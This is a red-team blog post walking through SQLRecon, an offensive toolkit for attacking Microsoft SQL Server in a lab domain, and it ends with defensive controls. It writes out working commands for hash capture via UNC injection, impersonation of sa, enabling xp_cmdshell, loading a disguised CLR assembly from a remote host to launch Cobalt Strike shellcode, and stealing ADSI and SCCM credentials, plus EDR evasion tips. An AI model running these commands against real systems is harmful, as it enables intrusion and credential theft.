Databases beware: Abusing Microsoft SQL Server with SQLRecon.

One of the most common misconfigurations I continue to see in enterprise networks is the ability for any authenticated domain object to connect to the SQL service as a low privilege account. This only requires a valid domain context. In other words, a valid token for a domain user or domain computer account.

To illustrate an example, if the workstation of a regular business user is compromised and a network route exists to a misconfigured SQL Server, it is possible for an adversary to:

• Execute limited SQL commands on the remote SQL Server.
• Determine the privileges they have, which could provide escalation opportunities via impersonation-style attacks.
• Instruct SQL Server to provide authentication materials via a solicited request to a Universal Naming Convention (UNC) path, which can result in obtaining hashed credentials, which in turn can be cracked or passed forward to perform relaying style attacks.
• Piggyback off the rights assigned to a SQL Server that is linked to other SQL Servers, which can result in privilege escalation.

These are just some examples of what an adversary can achieve when assessing a misconfigured SQL Server within a domain context. The attack surface presented by SQL Server will always depend on the environment and configuration you are facing.

In recent times, red team operators have been nothing short of blessed by the variety of Active Directory abuses that can be leveraged to elevate privileges in enterprise Microsoft networks. However, as defensive teams start to get a handle on mitigating these weaknesses, naturally the avenues to escalate privileges through abusing Active Directory tend to dry up.

Still, we soldier on and make our way down the proverbial list of attacks, optimistically seeking escalation paths that will aid us in acting on our objectives. I’m somewhat reluctant to admit that for a long time, attacking SQL Server was quite far down the list for me. Instead, I opted to prioritize things like shared storage spaces, internal web applications, DevOps tooling, or cloud infrastructure. You can probably see where I am going with this …

At some point in 2022, I was on an engagement and had reached a stalling point after exhausting all the preferred escalation paths. This was largely due to an exceptionally well-hardened environment. At least, that was what I thought before I discovered a large SQL Server farm, where there just had to be a misconfiguration or vulnerability.

Unbeknownst to me at the time, and only after writing this blog post, I discovered that Kaspersky found that reoccurring attacks using SQL Server had risen by 56% in 2022. That is a staggering amount.

As a red team operator, I often interact with systems I have compromised in our clients’ networks using a command and control (C2) framework. The clients we are fortunate enough to work with usually have mature cyber-security programs, capable defensive teams, and modern security controls, such as endpoint detection and response (EDR) solutions.

There have been several tools developed over the years to attack SQL Server. The one that I always ended up reaching for during my pen-testing days was PowerUpSQL . This is a project that was created by Scott Sutherland (@_nullbind), developed largely in PowerShell.

EDR solutions can be a formidable opponent to go up against as they do a fantastic job detecting malicious open-source tooling designed for offensive security, especially those that rely on PowerShell. That’s not to slight PowerShell post-exploitation tooling, they serve a purpose, just not for the problem I was facing in the environment I was in.

The problem I was facing on my engagement was that I needed to find a way to connect to Microsoft SQL Servers and begin interrogating them to determine if there were any misconfigurations or vulnerabilities. However, using any of the existing SQL Server post-exploitation tools, which rely on PowerShell, would have been a sure-fire way of getting caught by the defensive team. This is due to a variety of reasons, which I won’t pour over in detail, but PowerShell is not an ideal harness to sling your post-exploitation attacks due to security features such as AMSI, constrained language mode, and various styles of logging. This is only further compounded when an EDR solution, and other logging and monitoring controls are in place.

As an alternative, red team operators often choose C# as a language to develop post-exploitation tooling with, as it provides an easy way to interface with the .NET framework along with Windows APIs.

By no means am I a C# or .NET developer, but I know just about enough to write tools that solve a problem I am facing. Queue SQLRecon , a C# SQL toolkit designed for offensive reconnaissance and post-exploitation.

SQLRecon  helps address the post-exploitation tooling gap by modernizing the approach red team operators can take when attacking SQL Servers. The tool was designed to be modular, allowing for ease of extensibility. SQLRecon  is compatible stand-alone or within a diverse set of C2 frameworks. When using the latter, SQLRecon  can be executed either in-process or through traditional fork and run.

SQLRecon  has over 80 modules to choose from. Listed below is a high-level overview of some of the features provided by SQLRecon :

Authentication Providers

• Local SQL database account
• Windows domain authentication based on current token
• Windows domain authentication with user supplied credentials
• Azure domain authentication
• Azure local authentication

Enumeration Modules

• Locate SQL Servers associated with a Service Principal Name (SPN)
• Obtain information about the SQL service
• Determine privileges within SQL Server
• List databases, tables, columns, and users
• Search databases for content
• Execute arbitrary queries
• Enumerate users which can be impersonated
• Identify linked SQL Servers

Command Execution, Lateral Movement and Privilege Escalation

• xp_cmdshell
• OLE Automation Procedures
• Load and execute custom .NET CLR assemblies
• SQL Agent Jobs
• ADSI credential gathering

Operational Security

• Continuous authentication validation
• Extensive command line logging
• Execution guardrails based on whether SQL Server options are enabled or disabled
• Argument error handling
• Randomized alphanumeric SQL content creation where applicable
• Automatic clean-up of data created in SQL Server for command execution purposes

Other

• Ability to switch database contexts
• Connect to SQL Servers listening on non-standard TCP ports
• Support for impersonation-style attacks
• Ability to enumerate and attack linked SQL Servers
• Support for a variety of Microsoft System Center Configuration Manager (SCCM) and Microsoft Endpoint Configuration Manager (ECM) SQL database attacks
• All SQL queries use the System.Data.SqlClient  namespace, developed by Microsoft

For detailed usage information on each technique, please refer to the wiki.

To set the stage for the upcoming demonstrations, I will be operating off a compromised Windows 10 workstation that belongs to Jeff Smith(JSmith) in the kawalabs.local  enterprise network.

Jeff’s workstation has a network route to three SQL Servers, each of which are running different versions; 2016, 2019 and 2022.

A SQL link has been configured between SQL01  and SQL02 , and another SQL link has been configured between SQL02  and SQL03 . For readers who are not familiar with linked SQL Servers, this effectively allows one SQL instance to execute SQL statements on another SQL instance. For example, SQL01  can execute SQL statements on SQL02, and SQL02  can execute statements on SQL03, but SQL01 cannot execute statements on SQL03  and vice versa. It is common to see linked SQL Servers in real enterprise networks.

In addition, an Active Directory Services (ADSI) link exists between SQL03  and the primary domain controller in the kawalabs.local  domain, DC01 . ADSI links provide SQL Server with a way to interact with Active Directory objects.

Lastly, the kawalabs.local  domain has been connected to an Azure Active Directory domain, kawalabs.onmicrosoft.com  using Azure AD Connect. This allows on-premise Active Directory users in the kawalabs.local  to access resources in the Azure cloud. The  kawalabs.onmicrosoft.com  Azure AD tenancy contains a SQL Server which stores payment data, ECOM01 .

Figure 1: Network configuration

Furthermore, I will be leveraging Cobalt Strike, which is a popular command-and-control framework, to perform post-exploitation tasks from Jeff’s compromised workstation(DESKTOP-LF8Q3C6) . In the following screenshot, I have executed the whoami  command. This is just to display that Jeff is not a privileged user and has basic rights within the kawalabs.local  domain and broader network.

Figure 2: Issuing the whoami command

At the time of writing,SQLRecon has two enumeration modules that can be used to discover SQL Servers in a network, as well as gain some information about a SQL Server instance. The following command will enumerate Active Directory Service Principal Names (SPNs) and identify if there are any SPNs set for SQL Servers. In the kawalabs.local domain, there is an SPN set for a couple of different accounts, this is demonstrated in the screenshot below.

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

Figure 3: Discovering SQL Servers via SPN collection

The info  module is quite useful to gain additional information about a server. The example below demonstrates the type of information that is retrieved from a SQL Server.

SQLRecon.exe /a:WinToken /h:SQL02 /m:info

Figure 4: Obtaining information about SQL02

Shout out to Daniel Duggan (@_RastaMouse) for his contributions to the enumeration modules in SQLRecon .

Standard modules are executed against a single instance of SQL Server.

In the following example, I use the AzureAD  authentication provider, which uses the username and password for an Azure Active Directory account to authenticate against ECOM01 , a SQL instance located in the Azure cloud. I then use the whoami  module to determine the privileges Jeff has on ECOM01 .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami

Figure 5: Enumerating SQL privileges for jsmith@kawalabs.onmicrosoft.com

By default, SQLRecon  will connect to the master  database, as this database typically exists on all SQL Server instances. However, you can easily list all the different databases on the SQL Server instances by using the databases  module.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

Figure 6: Enumerating databases on ECOM01

You can connect to other databases by specifying the database name with the /database : flag and pass forward any module you want to execute. In the example below, I connect to the Payments  database on ECOM01  and execute a custom SQL query that will obtain all content from the cc  table.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"

Figure 7: Obtaining dummy card data from the cc  table in the Payments  database on ECOM01

Moving into some more interesting modules, SQLRecon  supports UNC path injection, which can be performed by a low privilege user account, such as KAWALABS\JSmith . This can result in obtaining hashed credentials, which in turn can be cracked or passed forward to perform relaying style attacks. In the following example, I use the WinToken  authentication provider, which uses the token for the KAWALABS\JSmith  user account, to authenticate against SQL02 , an on-premise server.

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects

Figure 8: UNC path injection

In the following screenshot, we can see the connection being made by SQL02  to a host in our control (172.16.10.19). This results in obtaining the NetNTLMv2 hash for the KAWALABS\mssql_svc  domain account.

Figure 9: Obtaining the NetNTLMv2 hash for KAWALABS\mssql_svc

SQLRecon  has a variety of command execution modules that can be used to execute arbitrary commands on the underlying system. This is particularly useful if you are seeking to perform privilege escalation and/or lateral movement. Significant guardrails have been implemented throughout SQLRecon to ensure that operational security is enabled by default. The two primary guardrails are:

• Continuous authentication validation, where SQLRecon  will validate that it is possible to authenticate against the domain, or SQL Server before executing any modules.
• Execution guardrails, where SQLRecon  will validate that optimal conditions exist before executing any modules that load objects, create objects, or execute commands.

xp_cmdshell  has long been one of the most common methods where commands can be executed on the underlying server via a SQL database. In the following example, I used the low privilege KAWALABS\JSmith  account to attempt to launch the notepad.exe  application on SQL01 .

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe

Figure 10: Demonstration of guardrail preventing command execution from taking place

As seen in the image above, an execution guardrail is encountered, and an error message is received which indicates that xp_cmdshell  is disabled. This is usually the default configuration on most versions of SQL Server. The nice thing is, SQLRecon  has an enableXp  module, which will enable the xp_cmdshell  configuration. SQLRecon also has a disableXp  module so that you can revert to the original secure state after executing your command with xpCmd .

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp

Figure 11: Demonstration of another guardrail, where insufficient privileges prevents command execution from taking place

As expected, the low privilege KAWALABS\JSmith  account encounters an execution guardrail and received a message that they do not have the necessary privileges to enable or disable xp_cmdshell  … or do they?

SQL impersonation is a special permission that essentially enables a user or group to operate with the permission of another user, as well as with their own permissions. The following screenshot is taken from the backend configuration of SQL02  and demonstrates that BUILTIN\Users  can impersonate the sa  account.

Figure 12: BUILTIN\Users  can impersonate the sa  account on SQL02

SQLRecon  has an impersonate  module to help determine if a user account can impersonate another user.

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

As seen in the screenshot below, the KAWALABS\JSmith  low privilege user account can impersonate the sa  account on SQL02 . This demonstrates the ability to execute commands on the SQL instance with admin-like privileges. Furthermore, it means that we can now execute system commands on the underlying server.

Figure 13: Enumerating accounts that can be impersonated on SQL02

To demonstrate another command execution module, SQLRecon  can execute commands on the underlying user using OLE Automation Procedures. This uses the odsole70.dll  assembly to interact with COM objects so that wscript.shell  can be leveraged to run arbitrary system commands.

Impersonation modules are always prepended with the letter i , and these modules will need the name of the account which is going to be impersonated. In the following example, I connect to SQL02  as the low privilege KAWALABS\JSmith  account and impersonate the sa  account to enable OLE Automation Procedures on SQL02 .

a:WinToken /h:SQL02 /i:sa /m:iEnableOle

Figure 14: Enabling OLE Automation Procedures using impersonation

Now that OLE Automation Procedures is enabled on SQL02 , I am in the position to execute any arbitrary command on the underlying server in context of the user account which has started the SQL Server process. In the following example, I execute a PowerShell child process that lists the directory of the same share that was previously used to capture NetNTLMv2 credentials. Keep in mind, this is largely for demonstration purposes and not typically an action that would be performed on an adversary simulation engagement.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"

Figure 15: Using PowerShell to list a directory on a remote host

As seen in the screenshot above, a randomly generated OLE object and method gets created, the malicious command is then executed, and the OLE objects are destroyed. This is intentional as we don’t want to leave behind any evidence of our actions.

In the following screenshot, we can see the connection being made by the KAWALABS\mssql_svc  user account via SQL02  to a host in our control (172.16.10.19). This results in obtaining the NetNTLMv2 hash for the KAWALABS \mssql_svc  computer account.

Figure 16: Obtaining the NetNTLMv2 hash for KAWALABS\mssql_svc

The following example demonstrates using impersonation to execute the tasklist  command using xp_cmdshell  on SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

Figure 17: Enabling xp_cmdshell  and executing system commands using impersonation on SQL02

It is always good practice to revert configurations back to the state they were originally in.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

Figure 18: Disabling OLE Automation Procedures and xp_cmdshell  on SQL02

SQLRecon  also can perform attacks against linked SQL Server instances. The following screenshot is taken from the backend configuration of SQL02  and demonstrates that SQL02  has a link to SQL03 . From my experience, this is a common configuration in large enterprise networks.

Figure 19: SQL02  has a SQL link to SQL03

Configuring a link from one SQL Server instance to another often requires a set of privileged credentials to establish and bind the link. This is beneficial for adversaries as it allows commands to be executed on the linked SQL Server in context of the account which has established the connection. Another point of consideration is that linked servers may be segmented from the network that an adversary is operating on. This could present the opportunity to traverse segmentation boundaries and enter a network zone of higher security requirements.

SQLRecon  has a links  module to determine if a SQL Server has any linked SQL instances.

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

Figure 20: Enumerating linked SQL servers on SQL02

Linked modules are always prepended with the letter l , and these modules will need the name of a linked server that you want to issue commands against. In the following example, I connect to SQL02  as the low privilege KAWALABS\JSmith  account and issue the lWhoami  command against the linked SQL03  instance.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

Figure 21: Enumerating SQL privileges that we can assume on SQL03  via SQL02

As seen in the screenshot above, we are operating in context of the sa  account on SQL03 . This is because the sa account was used to establish the SQL link from SQL02  to SQL03 .

All execution modules in SQLRecon  are fully supported on linked SQL Servers. In the following example, I enable Common Language Runtime (CLR) integration on SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

Figure 22: Enabling CLR integration on SQL02

CLR integration allows custom .NET assembles to be imported into SQL Server. These assemblies are stored inside of a stored procedure before they get executed. This is a nice lateral movement attack primitive.

In the following screenshot, I create a custom SQL Server CLR compatible .NET assembly called hollow.dll .  This will store a Cobalt Strike payload into a stored procedure named ExecuteShellcode . The payload performs basic process hollowing and injects the Cobalt Strike shellcode into newly spawned Internet Explorer(iexplore.exe) process.

Figure 23: hollow.dll , a SQL Server CLR compatible .NET assembly

If you are interested in learning more about custom SQL Server CLR compatible .NET assemblies, please visit the Clr section of the SQLRecon  wiki. An example of hollow.dll  can be found here.

In the following demonstration, I have uploaded hollow.dll  to a web server and renamed the assembly to favicon.png . I instruct the linked SQL03  server to download favicon.png  from a web server and perform the necessary steps to import the custom assembly into a SQL Server stored procedure and execute the payload. This results in obtaining a Cobalt Strike beacon in context of the KAWALABS\mssql_svc  user on SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

Figure 24: Obtaining a Cobalt Strike beacon in context of KAWALABS\mssql_svc  on SQL03

Of course, the previous example requires that SQL03  has Internet access for the assembly to be downloaded from a public-facing web server. There are cases where downloading a foreign resource from a public-facing web server is not possible or desirable. As such, SQLRecon  allows custom assemblies to be loaded directly from the file system of the compromised host, or from an SMB share. In the following demonstration, I have uploaded hollow.dll  to a local SMB server and renamed the assembly to Reports.xlsx . I instruct the linked SQL03  server to download Reports.xlsx  from the SMB server and perform the necessary steps to import the custom assembly into a SQL Server stored procedure and execute the payload. This results in obtaining a Cobalt Strike beacon in context of the KAWALABS\mssql_svc  user on SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode

Figure 25: Obtaining a Cobalt Strike beacon in context of

 KAWALABS\mssql_svc<code> on <code>SQL03

SQLRecon  also can perform attacks against linked ADSI Server instances to obtain cleartext credentials for domain accounts. For additional information on ADSI tradecraft, please see the Tarlogic blog post. The following screenshot is taken from the backend configuration SQL03  and demonstrates that SQL03  has an ADSI link to the primary domain controller in the kawalabs.local  domain, DC01 . This ADSI link is represented by the linkADSI  object.

Figure 26: SQL03  has an ADSI link to DC01

Configuring an ADSI link from an instance of SQL Server to an Active Directory domain controller does not necessarily require privileged credentials. However, during real-world operations, I have seen cases where the principle of least privilege has not been applied.

In the following example, I use the lLinks  module to first connect to SQL02 , and then query SQL03  for additional linked SQL Server. You can think of this as a double link scenario.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

Figure 27: Enumerating links on SQL03  from SQL02

Now that we have verified that an ADSI link exists on SQL03 , we can leverage the lAdsi  module to obtain the cleartext domain credentials used to configure the ADSI connection from SQL03  to DC01 . This involves uploading a custom CLR assembly that contains an LDAP server into a new SQL Server runtime routine on SQL03 . The LDAP server will then execute and listen for local-only connections on a user supplied port, in this case 49103. We then leverage SQL Server agent jobs on SQL03 to direct the credentials used to configure the ADSI connection to solicit an LDAP request to the local LDAP server on port 49103. This temporary LDAP authentication redirection is what ultimately results in obtaining cleartext domain credentials. It should be noted that the Adsi and iAdsi modules do not use SQL Server agent jobs to initiate the LDAP solicitation process, instead, standard SQL queries are used.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

Figure 28: Double-link ADSI credential gathering attack

One of the biggest extensions to SQLRecon  comes from my colleague Dave Cossa (@G0ldenGunSec), who has introduced a variety of modules that can be leveraged to abuse Microsoft System Center Configuration Manager (SCCM) and Microsoft Endpoint Configuration Manager (ECM). SCCM modules were developed off the back of a real-world engagement, where abusing the SCCM SQL Server database facilitated with furthering our progress to objectives. In most cases, to interact with the SCCM database, an elevated privilege context needs to be acquired, or access to the SCCM server needs to be obtained. In the examples below, I have a Cobalt Strike beacon running in context of the KAWALABS\mssccm_svc  account on an ECM server, MECM01 .

I’ll simply refer to both ECM and SCCM as SCCM from this point onwards.

In the following example, I use the databases module to enumerate thedatabases which exist in the SQL Server instance on MECM01 .

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases

Figure 29: Enumerating databases on MECM01

As seen in the screenshot above, the CM_KAW  database exists, which is most likely database configured for SCCM on this server.

SCCM modules are always prepended with the letter s , and these modules will need the name of the SCCM database that you want to issue commands against. In the following example, I connect to the CM_KAW  database on MECM01  as the KAWALABS\mssccm_svc  account and issue the sUsers  command. This module enumerates all principals that are configured to logon to the SCCM server.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figure 30: Enumerating all users that can log in to SCCM via the SCCM SQL Server database

It is also possible to enumerate tasks that have been configured in SCCM by using the sTaskList  module.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Figure 31: Enumerating tasks configured in SCCM via the SCCM SQL Server database

SCCM will usually need to vault credentials, which are used to authenticate to systems or resources in an environment to deploy software packages or perform any of the other various actions provided by SCCM. Using the sCredentials  module, we can obtain a list of vaulted credentials.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

Figure 32: Obtaining vaulted credentials via the SCCM SQL Server database

In the screenshot above, we can see that one credential has been vaulted, and this is the credential for the KAWALABS\mssccm_svc  account.

Using Adam Chester’s (@_xpn_) logic, it is possible to decrypt SCCM vaulted credentials and obtain the cleartext password for vaulted accounts. This does require local administrator privileges on the SCCM server. In the following screenshot, I use the sDecryptCredentials  account to decrypt the credential vaulted for the KAWALABS\mssccm_svc  account.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

Figure 33: Decrypting vaulted SCCM credentials

To prevent attackers from abusing SQL Server, defenders can take a layered approach when implementing security controls. First and foremost, I would highly suggest reading the official Microsoft guidance on SQL Server security best practices.

The next stop should be the prevention, detection, and mitigation guidance in theSQLRecon  wiki, which has some excellent defensive considerations. I’ve picked out a couple of the more important controls to implement and listed them below.

The following security controls should be considered for implementation at the network level.

• Ensure that network routes to SQL Servers have been accounted for and limited to only an authorized set of systems, or subnets. Workstations rarely require the ability to communicate directly with SQL Servers. Consider blocking access to TCP 1433 if viable.
• Verify that network logging and monitoring tools are capturing SQL queries which traverse network boundaries. It would be unusual for a workstation to send SQL queries to a SQL server.

workstations and servers in the environment.

• Validate that host-based security controls, such as endpoint detection and response solutions are enabled and that product signatures are fully up to date on a regular basis.
• Defenders should ensure that .NET Framework v4.8 is installed on Windows endpoints and that whatever host-based security product is being used supports AMSI for .NET. This allows the scanning of .NET assemblies in memory.
• Enable or configure an application allow-listing solution to prevent unsigned binaries, such as SQLRecon , from being executed directly on the endpoint.

• Ensure that hardening guidelines have been followed on the underlying Windows Server operating system. Consider only installing the necessary SQL database components.
• Ensure that SQL Servers are encompassed in the organizations patch management policy and that patches are routinely applied against the SQL service and SQL server.
• Consider restricting or remove the BUILTIN\Users  account from authenticating against SQL Server instances.
• Follow the principle of least privilege when configuring roles on user accounts. This principle should also be applied to the service account which starts SQL Server.
• Remove unnecessary SQL service principal name associations.
• Use strong passwords for any local account, such as the sa  account.
• Log, centrally ingest and audit SQL Server logon events. Netwrix has written a great blog on how this can be achieved.
• Encrypt sensitive content. This protects datasets from being exposed, even if the SQL Server is compromised.
• Evaluate links between SQL servers and determine the type of authentication binding the link. If possible, elect to use the current authentication security context, rather than using the context of the sa  account.
• Evaluate any impersonations which have been configured and determine their requirements.
• If using Azure SQL databases, ensure that Microsoft Advanced Threat Protection is enabled and configured to send alerts.

Attacks against SQL Server continue to be relevant in today’s cybersecurity landscape. Adversaries are constantly evolving their techniques to evade defensive controls, and in doing so, they are increasingly exploiting ancillary services, such as SQL Server. These attacks have become more sophisticated and stealthier, often employing less common techniques to bypass traditional security measures.

By abusing SQL Server, adversaries can gain unauthorized access to sensitive data, manipulate databases, and even compromise entire systems. The consequences of such attacks can be severe, resulting in data breaches, financial losses, and damage to an organization’s reputation.

To mitigate the risk of these attacks, it is crucial for organizations to review their SQL Server configurations and adopt best practices for security. Moreover, organizations should invest in security solutions that provide real-time monitoring, anomaly detection, and behavioral analysis capabilities. These solutions can help detect and respond to attacks more effectively, minimizing the potential impact on critical data and systems. By taking proactive measures to secure SQL Server environments, organizations can significantly reduce the risk of falling victim to these attacks and protect their valuable data assets.

You can always find the latest stable version of SQLRecon  on the X-Force Red Github page.

If you’re attending Black Hat Las Vegas and are interested in learning more you can attend my session: Abusing Microsoft SQL Server with SQLRecon on Thursday, August 10 at 1:00 pm PT.